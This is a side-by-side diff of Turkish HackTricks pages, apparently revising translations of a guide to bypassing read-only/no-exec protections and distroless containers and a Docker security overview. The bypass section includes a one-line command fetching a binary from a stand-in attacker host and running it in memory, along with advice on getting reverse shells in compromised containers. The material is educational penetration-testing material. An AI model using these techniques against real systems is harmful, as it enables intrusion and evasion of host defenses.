* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -10,11 +10,11 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu * [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) destek olun. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -44,15 +44,15 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu yüzden diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**. Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %} {% hint style="warning" %}
Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi) ikili dosyaları indirip çalıştırmayı **karmaşık hale getirir**. Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi enumaratörler gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**.
{% endhint %} {% endhint %}
## En Kolay Atlatma: Betikler ## En Kolay Atlatma: Betikler
İkili dosyaları bahsettiğimi unutmayın, **yürütülebilir herhangi bir betik**i, yorumlayıcının makinede olması koşuluyla yürütebilirsiniz, örneğin `sh` mevcutsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**. İkili dosyaları belirttiğimi unutmayın, **yürütülebilir herhangi bir betik** (interpreter makinede varsa) çalıştırabilirsiniz, örneğin `sh` varsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**.
Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir. Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
@ -60,26 +60,26 @@ Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer i
Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**. Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**.
### FD + exec sistem çağrısı atlatması ### FD + exec syscall atlatma
Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` sistem çağrısı), bu korumalar tarafından korunmayacak ve ardından bir **`exec` sistem çağrısı** yaparak **çalıştırılacak dosya olarak fd'yi belirtebilirsiniz**. Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall** çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve `create_memfd` sistem çağrısını çağırarak oluşturulan bir **fd** içinde **çözümlemek ve sıkıştırmak** için talimatlarla birlikte belirtilen dilde bir betik oluşturacaktır. Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve onu **çözümlemek ve sıkıştırmak** için talimatlarla birlikte `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde saklayacak ve çalıştırmak için **exec** syscall'i çağıracaktır.
{% hint style="warning" %} {% hint style="warning" %}
Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham sistem çağrıları** yapmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`yi çağırmak ve ikili dosyayı saklamak için **bellek fd** oluşturulamaz. Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd** oluşturulamaz.
Ayrıca, `/dev/shm` içinde bir dosya ile **düzenli bir fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir. Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işlemizin **`/proc/self/mem`**'ini üzerine yazarak işlemimizin belleğini **değiştirmenizi** sağlayan bir tekniktir. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak **belleğinizi değiştirmenizi** sağlayan bir tekniktir.
Bu nedenle, işlem tarafından yürütülen derleme kodunu **kontrol ederek**, bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**. Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **çalıştırmanıza** veya **bellekten herhangi bir ikili dosyayı çalıştırmanıza** olanak tanır. **DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **bellekten** herhangi bir **ikili dosyayı çalıştırmanıza** olanak tanır.
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
@ -87,45 +87,45 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
``` ```
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir **farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, sadece memexec shellcode'unu DDexec tekniği aracılığıyla çalıştırabilir ve ardından **bu deamon ile iletişim kurarak yüklemek ve çalıştırmak için yeni ikili dosyaları geçirebilirsiniz**. [**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan**, DDexec tekniği aracılığıyla memexec shellcode'unu çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz.
**Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir. **Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir.
### Memdlopen ### Memdlopen
DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin **daha kolay bir yolunu** sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir. DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir.
## Distroless Atlatma ## Distroless Atlatma
### Distroless Nedir ### Distroless Nedir
Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **çıplak minimum bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıkları gibi, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar. Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin **saldırı yüzeyini azaltmak** ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir. Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin **saldırı yüzeyini azaltmak** ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir.
### Ters Kabuk ### Ters Kabuk
Distroless konteynerde genellikle **`sh` veya `bash`** gibi düzenli bir kabuk bulamayabilirsiniz. Ayrıca `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şeyi bulamazsınız. Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi normal bir kabuk bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız.
{% hint style="warning" %} {% hint style="warning" %}
Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandıramayacaksınız**. Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandırma** yapamayacaksınız.
{% endhint %} {% endhint %}
Ancak, ele geçirilmiş bir konteyner örneğinde flask web çalışıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şey çoğu **betik dili** için geçerlidir. Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve çoğu **betik dili** ile aynı şeyi yapabilirsiniz.
{% hint style="success" %} {% hint style="success" %}
Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırabilirsiniz**. Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırma yapabilirsiniz**.
{% endhint %} {% endhint %}
Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine **ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**. Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak **ikili dosyalarınızı dosya sistemine yazabilir** ve **çalıştırabilirsiniz**.
{% hint style="success" %} {% hint style="success" %}
Ancak, bu tür konteynerlerde genellikle bu korumalar bulunur, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**. Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
{% endhint %} {% endhint %}
**RCE zafiyetlerini kullanarak bazı betik dillerinden ters kabuklar almak ve bellekten ikili dosyaları çalıştırmak için örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir. **RCE zafiyetlerini kullanarak betik dillerinden ters kabuklar almayı ve hafızadan ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -139,8 +139,8 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details> </details>

View file

@ -8,13 +8,13 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
@ -24,7 +24,7 @@ Bugün Erişim Alın:
## **Temel Docker Motoru Güvenliği** ## **Temel Docker Motoru Güvenliği**
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir. **Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ini kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı lemlerini daha da kısıtlayabilir.
![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -32,7 +32,7 @@ Bugün Erişim Alın:
Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir. Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir.
Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinde açmak için aşağıdaki ayarları ekleyin: Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soket üzerinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinde açmak için aşağıdaki ayarları ekleyin:
```bash ```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart sudo service docker restart
@ -50,11 +50,11 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir
* [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi. * [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi.
* [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje. * [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje.
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kaydı. * [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kayıt sunumu.
### Görüntü Tarama ### Görüntü Tarama
Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır. Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açıklarını belirlemek için güvenlik açığı deposuyla karşılaştırarak tarar.
Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/). Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/).
@ -94,9 +94,9 @@ Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bü
- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. - **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır. - Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır.
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parolaların belirlenmesini gerektirir ve Docker ayrıca artırılmış güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz. - Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla detay [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir.
- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır. - İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
- İlk imaj yükleme işleminden sonra, Docker, imajı imzalamak için depo anahtarının parolasını ister. - İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister.
Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın: Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın:
```bash ```bash
@ -106,10 +106,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
*** ***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -122,18 +122,18 @@ Bugün Erişim Alın:
#### Ana İşlem İzolasyon Özellikleri #### Ana İşlem İzolasyon Özellikleri
Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi ısından önemlidir. İşte temel kavramların basitleştirilmiş bir açıklaması: Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi için hayati önem taşır. İşte temel kavramların basitleştirilmiş bir açıklaması:
**Ad Alanları (Namespaces)** **Ad Alanları (Namespaces)**
* **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır. * **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır.
* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller. * **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya altta yatan sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller.
* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir. * **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir.
**Kontrol Grupları (CGroups)** **Kontrol Grupları (CGroups)**
